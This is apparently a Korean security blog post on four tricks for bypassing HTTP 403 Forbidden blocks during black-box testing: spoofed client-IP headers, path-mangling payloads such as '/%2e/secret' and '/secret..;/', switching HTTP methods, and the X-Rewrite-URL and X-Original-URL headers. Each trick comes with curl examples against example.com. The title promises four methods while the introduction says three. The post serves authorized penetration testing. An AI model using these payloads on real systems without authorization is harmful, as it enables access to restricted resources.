Back
Featured image of post 403 forbidden을 우회하는 4가지 방법들

403 forbidden을 우회하는 4가지 방법들

때때로 보안 테스팅 시 WAF나 Application의 로직에 따라 403 Forbidden 으로 접근이 제한되는 경우가 있습니다. 보통은 백엔드의 처리 로직을 봐야 정확하게 우회할 수 있는 포인트를 잡겠지만, 몇가지 트릭을 통해 Black Box Testing 상태에서도 이를 우회할 수 있습니다.

오늘은 403을 우회하는 3가지 방법들에 대해 가볍게 이야기하려고 합니다.

Escape from IP/Host range blocking

HTTP Request Header는 정말 많은 것들이 있습니다. 이중에 X로 시작하는 커스텀 헤더들의 경우 WAS, WebApp, WAF 등 서버에 따라 이를 인지하고 처리하는 경우도 존재하는데요. 이를 이용하면 403이 발생하는 페이지에서 차단하는 로직을 우회하고 접근할 수 있는 포인트가 될 수 있습니다.

일반적으로 Client의 IP/Host를 속일 수 있는 헤더들은 아래와 같습니다.

  • X-Custom-IP-Authorization
  • X-Forwarded-For
  • X-Forwarded-Host
  • X-Forward-For
  • X-Remote-IP
  • X-Originating-IP
  • X-Remote-Addr
  • X-Client-IP
  • X-Real-IP

403 페이지 접근 시 아래와 같이 해당 헤더를 이용하여 WAS, WebApp, WAF 등이 허용 대역에서 온 요청인 것 처럼 속여 정상 Response를 유도할 수 있습니다.

e.g (차단)

curl -i -k https://example.com
HTTP/1.1 403 Forbidden

e.g (우회)

curl -i -k -H "X-Remote-IP: 10.10.10.10" https://example.com
HTTP/1.1 200 OK

This is secret page

Escape from path-base blocking

URI Path 기반의 차단 로직으로 인해 403이 발생하는 경우 아래 패턴과 같이 실제 해당 URL을 바라보지만, 정규식 등에 걸리지 않도록 경로를 이용하여 차단 로직을 우회할 수 있습니다.

/%2e/secret
/secret/
/secret..;/
/secret/..;/
/secret%20
/secret%09
/secret%00
/secret.json
/secret.css
/secret.html
/secret?
/secret??
/secret???
/secret?testparam
/secret#
/secret#test
/secret/.
//secret//
/./secret/./

e.g (차단)

curl -i -k https://example.com/secret
HTTP/1.1 403 Forbidden

e.g (우회)

curl -i -k https://example.com/%2e/secret
HTTP/1.1 200 OK

This is secret page

Bypass with change Method

때때로 서비스는 HTTP 메소드까지 매핑하여 차단하는 경우가 있습니다. 이러한 경우 차단되지 않는 메소드를 찾아 우회할 수 있습니다.

HTTP Methods

  • GET
  • POST
  • PATCH
  • DELETE
  • PUT
  • DEBUG
  • OPTIONS
  • TRACE
  • HEAD
  • CONNECT

e.g (차단)

curl -i -k https://example.com/secret
HTTP/1.1 403 Forbidden

e.g (우회)

curl -i -k -X "POST" https://example.com/secret
HTTP/1.1 200 OK

This is secret page

Bypass with rewrite URL

일부 서버는 경로를 새로 지정하는 re-write 계열의 헤더를 처리하는 서버가 존재합니다. 이를 이용하면 접근이 제한된 페이지를 백엔드단에서 URL을 재 설정하여 접근할 수 있습니다.

  • X-Rewrite-URL
  • X-Original-URL

e.g (차단)

curl -i -k https://example.com/secret
HTTP/1.1 403 Forbidden

e.g (우회)

curl -i -k -H "X-Rewrite-URL: /secret" https://example.com
HTTP/1.1 200 OK

This is secret page

References